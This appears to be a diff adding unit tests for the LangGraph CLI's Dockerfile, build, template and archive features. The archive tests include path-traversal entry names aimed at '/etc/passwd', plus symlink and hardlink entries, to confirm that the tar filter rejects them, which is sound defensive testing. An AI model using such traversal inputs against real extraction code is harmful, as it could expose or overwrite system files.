+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.parent.mkdir(parents=True, exist_ok=True)
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            ["dockerfile", str(save_path), "--config", str(temp_dir / "config.json")],
+        )
+
+        assert result.exit_code == 0, result.output
+        assert "✅ Created: Dockerfile" in result.output
+
+        assert save_path.exists()
+        with open(save_path) as f:
+            dockerfile = f.read()
+            assert re.match("FROM langchain/langgraph-server:0.2-py3.*", dockerfile), (
+                "\n".join(dockerfile.splitlines()[:3])
+            )
+
+
+def test_dockerfile_command_with_docker_compose() -> None:
+    """Test the 'dockerfile' command with Docker Compose configuration."""
+    runner = CliRunner()
+    config_content = {
+        "dependencies": ["./my_agent"],
+        "graphs": {"agent": "./my_agent/agent.py:graph"},
+        "env": ".env",
+    }
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        # Add agent.py file
+        agent_path = temp_dir / "my_agent" / "agent.py"
+        agent_path.parent.mkdir(parents=True, exist_ok=True)
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            [
+                "dockerfile",
+                str(save_path),
+                "--config",
+                str(temp_dir / "config.json"),
+                "--add-docker-compose",
+            ],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0
+        assert "✅ Created: Dockerfile" in result.output
+        assert "✅ Created: .dockerignore" in result.output
+        assert "✅ Created: docker-compose.yml" in result.output
+        assert (
+            "✅ Created: .env" in result.output or "➖ Skipped: .env" in result.output
+        )
+        assert "🎉 Files generated successfully" in result.output
+
+        # Check if Dockerfile, .dockerignore, docker-compose.yml, and .env were created
+        assert save_path.exists()
+        assert (temp_dir / ".dockerignore").exists()
+        assert (temp_dir / "docker-compose.yml").exists()
+        assert (temp_dir / ".env").exists() or "➖ Skipped: .env" in result.output
+
+
+def test_dockerfile_command_with_bad_config() -> None:
+    """Test the 'dockerfile' command with basic configuration."""
+    runner = CliRunner()
+    config_content = {
+        "node_version": "20"  # Add any other necessary configuration fields
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+
+        result = runner.invoke(
+            cli,
+            ["dockerfile", str(save_path), "--config", str(temp_dir / "conf.json")],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 2
+        assert "conf.json' does not exist" in result.output
+
+
+def test_dockerfile_command_shows_wolfi_warning() -> None:
+    """Test the 'dockerfile' command shows warning when image_distro is not wolfi."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+        # No image_distro specified - should default to debian and show warning
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            ["dockerfile", str(save_path), "--config", str(temp_dir / "config.json")],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0, result.output
+
+        # Check that warning is shown
+        assert "Security Recommendation" in result.output
+        assert "Wolfi Linux" in result.output
+        assert "image_distro" in result.output
+        assert "wolfi" in result.output
+
+
+def test_dockerfile_command_no_wolfi_warning_when_wolfi_set() -> None:
+    """Test the 'dockerfile' command does NOT show warning when image_distro is wolfi."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+        "image_distro": "wolfi",  # Explicitly set to wolfi - should not show warning
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            ["dockerfile", str(save_path), "--config", str(temp_dir / "config.json")],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0, result.output
+
+        # Check that warning is NOT shown
+        assert "Security Recommendation" not in result.output
+        assert "Wolfi Linux" not in result.output
+
+
+def test_build_command_shows_wolfi_warning() -> None:
+    """Test the 'build' command shows warning when image_distro is not wolfi."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+        # No image_distro specified - should default to debian and show warning
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        # Mock docker command since we don't want to actually build
+        with runner.isolated_filesystem():
+            result = runner.invoke(
+                cli,
+                [
+                    "build",
+                    "--tag",
+                    "test-image",
+                    "--config",
+                    str(temp_dir / "config.json"),
+                ],
+                catch_exceptions=True,
+            )
+
+        # The command will fail because docker isn't available or we're mocking,
+        # but we should still see the warning before it fails
+        assert "Security Recommendation" in result.output
+        assert "Wolfi Linux" in result.output
+        assert "image_distro" in result.output
+        assert "wolfi" in result.output
+
+
+def test_build_generate_proper_build_context():
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": [".", "../../..", "../.."],
+        "image_distro": "wolfi",
+    }
+
+    with temporary_config_folder(config_content, levels=3) as temp_dir:
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        # Mock docker command since we don't want to actually build
+        with runner.isolated_filesystem():
+            result = runner.invoke(
+                cli,
+                [
+                    "build",
+                    "--tag",
+                    "test-image",
+                    "--config",
+                    str(temp_dir / "config.json"),
+                ],
+                catch_exceptions=True,
+            )
+
+        build_context_pattern = re.compile(r"--build-context\s+([\w-]+)=([^\s]+)")
+
+        build_contexts = re.findall(build_context_pattern, result.output)
+        assert len(build_contexts) == 2, (
+            f"Expected 2 build contexts, but found {len(build_contexts)}"
+        )
+
+
+def test_dockerfile_command_with_api_version() -> None:
+    """Test the 'dockerfile' command with --api-version flag."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            [
+                "dockerfile",
+                str(save_path),
+                "--config",
+                str(temp_dir / "config.json"),
+                "--api-version",
+                "0.2.74",
+            ],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0, result.output
+        assert "✅ Created: Dockerfile" in result.output
+
+        # Check if Dockerfile was created and contains correct FROM line
+        assert save_path.exists()
+        with open(save_path) as f:
+            dockerfile = f.read()
+            assert "FROM langchain/langgraph-api:0.2.74-py3.11" in dockerfile
+
+
+def test_dockerfile_command_with_api_version_and_base_image() -> None:
+    """Test the 'dockerfile' command with both --api-version and --base-image flags."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.12",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+        "image_distro": "wolfi",
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            [
+                "dockerfile",
+                str(save_path),
+                "--config",
+                str(temp_dir / "config.json"),
+                "--api-version",
+                "1.0.0",
+                "--base-image",
+                "my-registry/custom-api",
+            ],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0, result.output
+        assert "✅ Created: Dockerfile" in result.output
+
+        # Check if Dockerfile was created and contains correct FROM line
+        assert save_path.exists()
+        with open(save_path) as f:
+            dockerfile = f.read()
+            assert "FROM my-registry/custom-api:1.0.0-py3.12-wolfi" in dockerfile
+
+
+def test_dockerfile_command_with_api_version_nodejs() -> None:
+    """Test the 'dockerfile' command with --api-version flag for Node.js config."""
+    runner = CliRunner()
+    config_content = {
+        "node_version": "20",
+        "graphs": {"agent": "agent.js:graph"},
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.js"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            [
+                "dockerfile",
+                str(save_path),
+                "--config",
+                str(temp_dir / "config.json"),
+                "--api-version",
+                "0.2.74",
+            ],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0, result.output
+        assert "✅ Created: Dockerfile" in result.output
+
+        # Check if Dockerfile was created and contains correct FROM line
+        assert save_path.exists()
+        with open(save_path) as f:
+            dockerfile = f.read()
+            assert "FROM langchain/langgraphjs-api:0.2.74-node20" in dockerfile
+
+
+def test_build_command_with_api_version() -> None:
+    """Test the 'build' command with --api-version flag."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+        "image_distro": "wolfi",  # Use wolfi to avoid warning messages
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        # Mock docker command since we don't want to actually build
+        with runner.isolated_filesystem():
+            result = runner.invoke(
+                cli,
+                [
+                    "build",
+                    "--tag",
+                    "test-image",
+                    "--config",
+                    str(temp_dir / "config.json"),
+                    "--api-version",
+                    "0.2.74",
+                    "--no-pull",  # Avoid pulling non-existent images
+                ],
+                catch_exceptions=True,
+            )
+
+        # Check that the build command is called with the correct tag
+        # The output should contain the docker build command with the api_version tag
+        assert "langchain/langgraph-api:0.2.74-py3.11-wolfi" in result.output
+
+
+def test_build_command_with_api_version_and_base_image() -> None:
+    """Test the 'build' command with both --api-version and --base-image flags."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.12",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+        "image_distro": "wolfi",  # Use wolfi to avoid warning messages
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        # Mock docker command since we don't want to actually build
+        with runner.isolated_filesystem():
+            result = runner.invoke(
+                cli,
+                [
+                    "build",
+                    "--tag",
+                    "test-image",
+                    "--config",
+                    str(temp_dir / "config.json"),
+                    "--api-version",
+                    "1.0.0",
+                    "--base-image",
+                    "my-registry/custom-api",
+                    "--no-pull",  # Avoid pulling non-existent images
+                ],
+                catch_exceptions=True,
+            )
+
+        # Check that the build command includes the api_version
+        assert "my-registry/custom-api:1.0.0-py3.12-wolfi" in result.output
+
+
+def test_prepare_args_and_stdin_with_api_version() -> None:
+    """Test prepare_args_and_stdin function with api_version parameter."""
+    config_path = pathlib.Path(__file__).parent / "langgraph.json"
+    config = validate_config(
+        Config(dependencies=["."], graphs={"agent": "agent.py:graph"})
+    )
+    port = 8000
+    api_version = "0.2.74"
+
+    actual_args, actual_stdin = prepare_args_and_stdin(
+        capabilities=DEFAULT_DOCKER_CAPABILITIES,
+        config_path=config_path,
+        config=config,
+        docker_compose=None,
+        port=port,
+        watch=False,
+        api_version=api_version,
+    )
+
+    expected_args = [
+        "--project-directory",
+        str(pathlib.Path(__file__).parent.absolute()),
+        "-f",
+        "-",
+    ]
+
+    # Check that the args are correct
+    assert actual_args == expected_args
+
+    # Check that the stdin contains the correct FROM line with api_version
+    assert "FROM langchain/langgraph-api:0.2.74-py3.11" in actual_stdin
+
+
+def test_prepare_args_and_stdin_with_api_version_and_image() -> None:
+    """Test prepare_args_and_stdin function with both api_version and image parameters."""
+    config_path = pathlib.Path(__file__).parent / "langgraph.json"
+    config = validate_config(
+        Config(dependencies=["."], graphs={"agent": "agent.py:graph"})
+    )
+    port = 8000
+    api_version = "0.2.74"
+    image = "my-custom-image:latest"
+
+    actual_args, actual_stdin = prepare_args_and_stdin(
+        capabilities=DEFAULT_DOCKER_CAPABILITIES,
+        config_path=config_path,
+        config=config,
+        docker_compose=None,
+        port=port,
+        watch=False,
+        api_version=api_version,
+        image=image,
+    )
+
+    # When image is provided, api_version should be ignored for the image
+    # but the stdin should not contain a build section (since image is provided)
+    assert "pull_policy: build" not in actual_stdin
+
+
+def test_dockerfile_command_distributed_mode() -> None:
+    """Test the 'dockerfile' command with --engine-runtime-mode distributed."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            [
+                "dockerfile",
+                str(save_path),
+                "--config",
+                str(temp_dir / "config.json"),
+                "--engine-runtime-mode",
+                "distributed",
+            ],
+        )
+
+        assert result.exit_code == 0, result.output
+        assert "✅ Created: Dockerfile" in result.output
+
+        assert save_path.exists()
+        with open(save_path) as f:
+            dockerfile = f.read()
+            assert "FROM langchain/langgraph-executor:3.11" in dockerfile
+
+
+def test_dockerfile_command_combined_mode() -> None:
+    """Test the 'dockerfile' command with --engine-runtime-mode combined_queue_worker."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            [
+                "dockerfile",
+                str(save_path),
+                "--config",
+                str(temp_dir / "config.json"),
+                "--engine-runtime-mode",
+                "combined_queue_worker",
+            ],
+        )
+
+        assert result.exit_code == 0, result.output
+        assert save_path.exists()
+        with open(save_path) as f:
+            dockerfile = f.read()
+            assert "FROM langchain/langgraph-api:3.11" in dockerfile
+
+
+def test_dockerfile_command_distributed_with_explicit_base_image() -> None:
+    """Test distributed mode with explicit --base-image overrides executor default."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        agent_path = temp_dir / "agent.py"
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            [
+                "dockerfile",
+                str(save_path),
+                "--config",
+                str(temp_dir / "config.json"),
+                "--engine-runtime-mode",
+                "distributed",
+                "--base-image",
+                "my-custom-executor:latest",
+            ],
+        )
+
+        assert result.exit_code == 0, result.output
+        assert save_path.exists()
+        with open(save_path) as f:
+            dockerfile = f.read()
+            assert "FROM my-custom-executor:latest" in dockerfile
+
+
+def test_prepare_args_and_stdin_distributed_mode() -> None:
+    """Test prepare_args_and_stdin with distributed mode includes all services."""
+    config_path = pathlib.Path(__file__).parent / "langgraph.json"
+    config = validate_config(
+        Config(dependencies=["."], graphs={"agent": "agent.py:graph"})
+    )
+    port = 8000
+
+    actual_args, actual_stdin = prepare_args_and_stdin(
+        capabilities=DEFAULT_DOCKER_CAPABILITIES,
+        config_path=config_path,
+        config=config,
+        docker_compose=None,
+        port=port,
+        watch=False,
+        engine_runtime_mode="distributed",
+    )
+
+    # API service should use langgraph-api base image
+    assert "FROM langchain/langgraph-api:" in actual_stdin
+
+    # Distributed mode sets N_JOBS_PER_WORKER=0 on the API service
+    assert 'N_JOBS_PER_WORKER: "0"' in actual_stdin
+
+    # Orchestrator service present
+    assert "langgraph-orchestrator:" in actual_stdin
+
+    # Executor service present with correct base image
+    assert "langgraph-executor:" in actual_stdin
+    assert "FROM langchain/langgraph-executor:" in actual_stdin
+    assert "executor_entrypoint.sh" in actual_stdin
diff --git a/libs/cli/tests/unit_tests/cli/test_templates.py b/libs/cli/tests/unit_tests/cli/test_templates.py
new file mode 100644
index 0000000..cbdf4bb
--- /dev/null
+++ b/libs/cli/tests/unit_tests/cli/test_templates.py
@@ -0,0 +1,70 @@
+"""Unit tests for the 'new' CLI command.
+
+This command creates a new LangGraph project using a specified template.
+"""
+
+import os
+from io import BytesIO
+from pathlib import Path
+from tempfile import TemporaryDirectory
+from unittest.mock import MagicMock, patch
+from urllib import request
+from zipfile import ZipFile
+
+from click.testing import CliRunner
+
+from langgraph_cli.cli import cli
+from langgraph_cli.templates import TEMPLATE_ID_TO_CONFIG
+
+
+@patch.object(request, "urlopen")
+def test_create_new_with_mocked_download(mock_urlopen: MagicMock) -> None:
+    """Test the 'new' CLI command with a mocked download response using urllib."""
+    # Mock the response content to simulate a ZIP file
+    mock_zip_content = BytesIO()
+    with ZipFile(mock_zip_content, "w") as mock_zip:
+        mock_zip.writestr("test-file.txt", "Test content.")
+
+    # Create a mock response that behaves like a context manager
+    mock_response = MagicMock()
+    mock_response.read.return_value = mock_zip_content.getvalue()
+    mock_response.__enter__.return_value = mock_response  # Setup enter context
+    mock_response.status = 200
+
+    mock_urlopen.return_value = mock_response
+
+    with TemporaryDirectory() as temp_dir:
+        runner = CliRunner()
+        template = next(
+            iter(TEMPLATE_ID_TO_CONFIG)
+        )  # Select the first template for the test
+        result = runner.invoke(cli, ["new", temp_dir, "--template", template])
+
+        # Verify CLI command execution and success
+        assert result.exit_code == 0, result.output
+        assert "New project created" in result.output, (
+            "Expected success message in output."
+        )
+
+        # Verify that the directory is not empty
+        assert os.listdir(temp_dir), "Expected files to be created in temp directory."
+
+        # Check for a known file in the extracted content
+        extracted_files = [f.name for f in Path(temp_dir).glob("*")]
+        assert "test-file.txt" in extracted_files, (
+            "Expected 'test-file.txt' in the extracted content."
+        )
+
+
+def test_invalid_template_id() -> None:
+    """Test that an invalid template ID passed via CLI results in a graceful error."""
+    runner = CliRunner()
+    result = runner.invoke(
+        cli, ["new", "dummy_path", "--template", "invalid-template-id"]
+    )
+
+    # Verify the command failed and proper message is displayed
+    assert result.exit_code != 0, "Expected non-zero exit code for invalid template."
+    assert "Template 'invalid-template-id' not found" in result.output, (
+        "Expected error message in output."
+    )
diff --git a/libs/cli/tests/unit_tests/conftest.py b/libs/cli/tests/unit_tests/conftest.py
new file mode 100644
index 0000000..5caaa6c
--- /dev/null
+++ b/libs/cli/tests/unit_tests/conftest.py
@@ -0,0 +1,16 @@
+import os
+from unittest.mock import patch
+
+import pytest
+
+
+@pytest.fixture(autouse=True)
+def disable_analytics_env() -> None:
+    """Disable analytics for unit tests LANGGRAPH_CLI_NO_ANALYTICS."""
+    # First check if the environment variable is already set, if so, log a warning prior
+    # to overriding it.
+    if "LANGGRAPH_CLI_NO_ANALYTICS" in os.environ:
+        print("⚠️ LANGGRAPH_CLI_NO_ANALYTICS is set. Overriding it for the test.")
+
+    with patch.dict(os.environ, {"LANGGRAPH_CLI_NO_ANALYTICS": "0"}):
+        yield
diff --git a/libs/cli/tests/unit_tests/graphs/agent.py b/libs/cli/tests/unit_tests/graphs/agent.py
new file mode 100644
index 0000000..700ba9f
--- /dev/null
+++ b/libs/cli/tests/unit_tests/graphs/agent.py
@@ -0,0 +1,6 @@
+from langgraph.func import entrypoint
+
+
+@entrypoint()
+def graph(state):
+    return None
diff --git a/libs/cli/tests/unit_tests/helpers.py b/libs/cli/tests/unit_tests/helpers.py
new file mode 100644
index 0000000..79b67a2
--- /dev/null
+++ b/libs/cli/tests/unit_tests/helpers.py
@@ -0,0 +1,2 @@
+def clean_empty_lines(input_str: str):
+    return "\n".join(filter(None, input_str.splitlines()))
diff --git a/libs/cli/tests/unit_tests/multiplatform/js.mts b/libs/cli/tests/unit_tests/multiplatform/js.mts
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/unit_tests/multiplatform/python.py b/libs/cli/tests/unit_tests/multiplatform/python.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/unit_tests/pipconfig.txt b/libs/cli/tests/unit_tests/pipconfig.txt
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/unit_tests/test_archive.py b/libs/cli/tests/unit_tests/test_archive.py
new file mode 100644
index 0000000..5b8ce82
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_archive.py
@@ -0,0 +1,305 @@
+import os
+import tarfile
+from unittest.mock import patch
+
+import click
+import pytest
+
+from langgraph_cli.archive import (
+    _add_directory,
+    _build_ignore_spec,
+    _tar_filter,
+    create_archive,
+)
+
+# ---------------------------------------------------------------------------
+# _tar_filter
+# ---------------------------------------------------------------------------
+
+
+class TestTarFilter:
+    def _make_info(self, name: str, *, type_: int = tarfile.REGTYPE) -> tarfile.TarInfo:
+        info = tarfile.TarInfo(name=name)
+        info.type = type_
+        return info
+
+    def test_regular_file_passes(self):
+        info = self._make_info("src/main.py")
+        assert _tar_filter(info) is info
+
+    def test_symlink_rejected(self):
+        info = self._make_info("link", type_=tarfile.SYMTYPE)
+        assert _tar_filter(info) is None
+
+    def test_hardlink_rejected(self):
+        info = self._make_info("link", type_=tarfile.LNKTYPE)
+        assert _tar_filter(info) is None
+
+    def test_path_traversal_rejected(self):
+        info = self._make_info("../../etc/passwd")
+        assert _tar_filter(info) is None
+
+    def test_path_traversal_in_middle_rejected(self):
+        info = self._make_info("src/../../../etc/passwd")
+        assert _tar_filter(info) is None
+
+    def test_dotdot_as_name_component_rejected(self):
+        info = self._make_info("foo/../bar")
+        assert _tar_filter(info) is None
+
+    def test_dotdot_in_filename_allowed(self):
+        """A file literally named 'foo..bar' is not traversal."""
+        info = self._make_info("foo..bar")
+        assert _tar_filter(info) is info
+
+    def test_directory_passes(self):
+        info = self._make_info("src/", type_=tarfile.DIRTYPE)
+        assert _tar_filter(info) is info
+
+
+# ---------------------------------------------------------------------------
+# _build_ignore_spec
+# ---------------------------------------------------------------------------
+
+
+class TestBuildIgnoreSpec:
+    def test_always_excludes_builtins(self, tmp_path):
+        spec = _build_ignore_spec(tmp_path)
+        assert spec.match_file("__pycache__/")
+        assert spec.match_file(".git/")
+        assert spec.match_file(".venv/")
+        assert spec.match_file("venv/")
+        assert spec.match_file("node_modules/")
+        assert spec.match_file(".tox/")
+
+    def test_regular_file_not_excluded(self, tmp_path):
+        spec = _build_ignore_spec(tmp_path)
+        assert not spec.match_file("main.py")
+        assert not spec.match_file("src/app.py")
+
+    def test_merges_dockerignore(self, tmp_path):
+        (tmp_path / ".dockerignore").write_text("*.log\nbuild/\n")
+        spec = _build_ignore_spec(tmp_path)
+        assert spec.match_file("server.log")
+        assert spec.match_file("build/")
+        # builtins still present
+        assert spec.match_file("__pycache__/")
+
+    def test_merges_gitignore(self, tmp_path):
+        (tmp_path / ".gitignore").write_text("*.pyc\ndist/\n")
+        spec = _build_ignore_spec(tmp_path)
+        assert spec.match_file("module.pyc")
+        assert spec.match_file("dist/")
+
+    def test_merges_both_ignore_files(self, tmp_path):
+        (tmp_path / ".dockerignore").write_text("*.log\n")
+        (tmp_path / ".gitignore").write_text("*.pyc\n")
+        spec = _build_ignore_spec(tmp_path)
+        assert spec.match_file("app.log")
+        assert spec.match_file("mod.pyc")
+
+    def test_can_skip_gitignore(self, tmp_path):
+        (tmp_path / ".dockerignore").write_text("*.log\n")
+        (tmp_path / ".gitignore").write_text("*.pyc\n")
+        spec = _build_ignore_spec(tmp_path, include_gitignore=False)
+        assert spec.match_file("app.log")
+        assert not spec.match_file("mod.pyc")
+
+    def test_no_ignore_files_only_builtins(self, tmp_path):
+        spec = _build_ignore_spec(tmp_path)
+        assert spec.match_file("__pycache__/")
+        assert not spec.match_file("README.md")
+
+
+# ---------------------------------------------------------------------------
+# _add_directory
+# ---------------------------------------------------------------------------
+
+
+class TestAddDirectory:
+    def _create_project(self, tmp_path):
+        """Create a small project structure for testing."""
+        (tmp_path / "main.py").write_text("print('hello')")
+        (tmp_path / "lib").mkdir()
+        (tmp_path / "lib" / "util.py").write_text("x = 1")
+        (tmp_path / "__pycache__").mkdir()
+        (tmp_path / "__pycache__" / "main.cpython-311.pyc").write_bytes(b"\x00")
+        return tmp_path
+
+    def test_adds_files_without_prefix(self, tmp_path):
+        project = self._create_project(tmp_path)
+        spec = _build_ignore_spec(project)
+
+        archive_path = tmp_path / "out.tar"
+        with tarfile.open(archive_path, "w") as tar:
+            _add_directory(tar, project, arcname_prefix=None, ignore_spec=spec)
+
+        with tarfile.open(archive_path, "r") as tar:
+            names = tar.getnames()
+        assert "main.py" in names
+        assert "lib/util.py" in names
+
+    def test_excludes_pycache(self, tmp_path):
+        project = self._create_project(tmp_path)
+        spec = _build_ignore_spec(project)
+
+        archive_path = tmp_path / "out.tar"
+        with tarfile.open(archive_path, "w") as tar:
+            _add_directory(tar, project, arcname_prefix=None, ignore_spec=spec)
+
+        with tarfile.open(archive_path, "r") as tar:
+            names = tar.getnames()
+        assert not any("__pycache__" in n for n in names)
+
+    def test_adds_files_with_prefix(self, tmp_path):
+        project = self._create_project(tmp_path)
+        spec = _build_ignore_spec(project)
+
+        archive_path = tmp_path / "out.tar"
+        with tarfile.open(archive_path, "w") as tar:
+            _add_directory(tar, project, arcname_prefix="myapp", ignore_spec=spec)
+
+        with tarfile.open(archive_path, "r") as tar:
+            names = tar.getnames()
+        assert "myapp/main.py" in names
+        assert "myapp/lib/util.py" in names
+
+    def test_respects_custom_ignore_patterns(self, tmp_path):
+        project = self._create_project(tmp_path)
+        (project / ".gitignore").write_text("lib/\n")
+        spec = _build_ignore_spec(project)
+
+        archive_path = tmp_path / "out.tar"
+        with tarfile.open(archive_path, "w") as tar:
+            _add_directory(tar, project, arcname_prefix=None, ignore_spec=spec)
+
+        with tarfile.open(archive_path, "r") as tar:
+            names = tar.getnames()
+        assert "main.py" in names
+        assert "lib/util.py" not in names
+
+
+# ---------------------------------------------------------------------------
+# create_archive (integration)
+# ---------------------------------------------------------------------------
+
+
+class TestCreateArchive:
+    def _make_project(self, tmp_path):
+        """Set up a minimal project directory with a config file."""
+        project = tmp_path / "myproject"
+        project.mkdir()
+        config_file = project / "langgraph.json"
+        config_file.write_text('{"dependencies": ["."]}')
+        (project / "app.py").write_text("print('hello')")
+        (project / "__pycache__").mkdir()
+        (project / "__pycache__" / "app.cpython-311.pyc").write_bytes(b"\x00")
+        return config_file
+
+    @patch("langgraph_cli.archive._assemble_local_deps")
+    def test_yields_archive_with_config(self, mock_deps, tmp_path):
+        from langgraph_cli.config import LocalDeps
+
+        config_file = self._make_project(tmp_path)
+        mock_deps.return_value = LocalDeps(
+            pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
+        )
+
+        with create_archive(config_file, {}) as (archive_path, file_size, config_rel):
+            assert os.path.isfile(archive_path)
+            assert archive_path.endswith(".tar.gz")
+            assert file_size > 0
+            assert config_rel == "langgraph.json"
+
+            with tarfile.open(archive_path, "r:gz") as tar:
+                names = tar.getnames()
+            assert "langgraph.json" in names
+            assert "app.py" in names
+
+    @patch("langgraph_cli.archive._assemble_local_deps")
+    def test_excludes_pycache(self, mock_deps, tmp_path):
+        from langgraph_cli.config import LocalDeps
+
+        config_file = self._make_project(tmp_path)
+        mock_deps.return_value = LocalDeps(
+            pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
+        )
+
+        with create_archive(config_file, {}) as (archive_path, _size, _rel):
+            with tarfile.open(archive_path, "r:gz") as tar:
+                names = tar.getnames()
+            assert not any("__pycache__" in n for n in names)
+
+    @patch("langgraph_cli.archive._assemble_local_deps")
+    def test_cleans_up_tmp_dir_on_normal_exit(self, mock_deps, tmp_path):
+        from langgraph_cli.config import LocalDeps
+
+        config_file = self._make_project(tmp_path)
+        mock_deps.return_value = LocalDeps(
+            pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
+        )
+
+        with create_archive(config_file, {}) as (archive_path, _size, _rel):
+            tmp_dir = os.path.dirname(archive_path)
+            assert os.path.isdir(tmp_dir)
+
+        assert not os.path.exists(tmp_dir)
+
+    @patch("langgraph_cli.archive._assemble_local_deps")
+    def test_cleans_up_tmp_dir_on_exception(self, mock_deps, tmp_path):
+        from langgraph_cli.config import LocalDeps
+
+        config_file = self._make_project(tmp_path)
+        mock_deps.return_value = LocalDeps(
+            pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
+        )
+
+        with pytest.raises(RuntimeError, match="boom"):
+            with create_archive(config_file, {}) as (archive_path, _size, _rel):
+                tmp_dir = os.path.dirname(archive_path)
+                raise RuntimeError("boom")
+
+        assert not os.path.exists(tmp_dir)
+
+    @patch("langgraph_cli.archive._assemble_local_deps")
+    @patch("langgraph_cli.archive._MAX_SIZE", 10)
+    def test_raises_on_oversized_archive(self, mock_deps, tmp_path):
+        from langgraph_cli.config import LocalDeps
+
+        config_file = self._make_project(tmp_path)
+        mock_deps.return_value = LocalDeps(
+            pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
+        )
+
+        with pytest.raises(click.ClickException, match="exceeds the 200 MB limit"):
+            with create_archive(config_file, {}):
+                pass
+
+    @patch("langgraph_cli.archive._assemble_local_deps")
+    def test_handles_extra_contexts(self, mock_deps, tmp_path):
+        """Monorepo case: project + sibling dependency directory."""
+        from langgraph_cli.config import LocalDeps
+
+        project = tmp_path / "myproject"
+        project.mkdir()
+        config_file = project / "langgraph.json"
+        config_file.write_text('{"dependencies": [".", "../shared"]}')
+        (project / "app.py").write_text("print('hello')")
+
+        shared = tmp_path / "shared"
+        shared.mkdir()
+        (shared / "lib.py").write_text("y = 2")
+
+        mock_deps.return_value = LocalDeps(
+            pip_reqs=[],
+            real_pkgs={},
+            faux_pkgs={},
+            additional_contexts=[shared],
+        )
+
+        with create_archive(config_file, {}) as (archive_path, _size, config_rel):
+            with tarfile.open(archive_path, "r:gz") as tar:
+                names = tar.getnames()
+            assert "myproject/app.py" in names
+            assert "shared/lib.py" in names
+            assert config_rel == "myproject/langgraph.json"
diff --git a/libs/cli/tests/unit_tests/test_config.json b/libs/cli/tests/unit_tests/test_config.json
new file mode 100644
index 0000000..3ec8f09
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_config.json
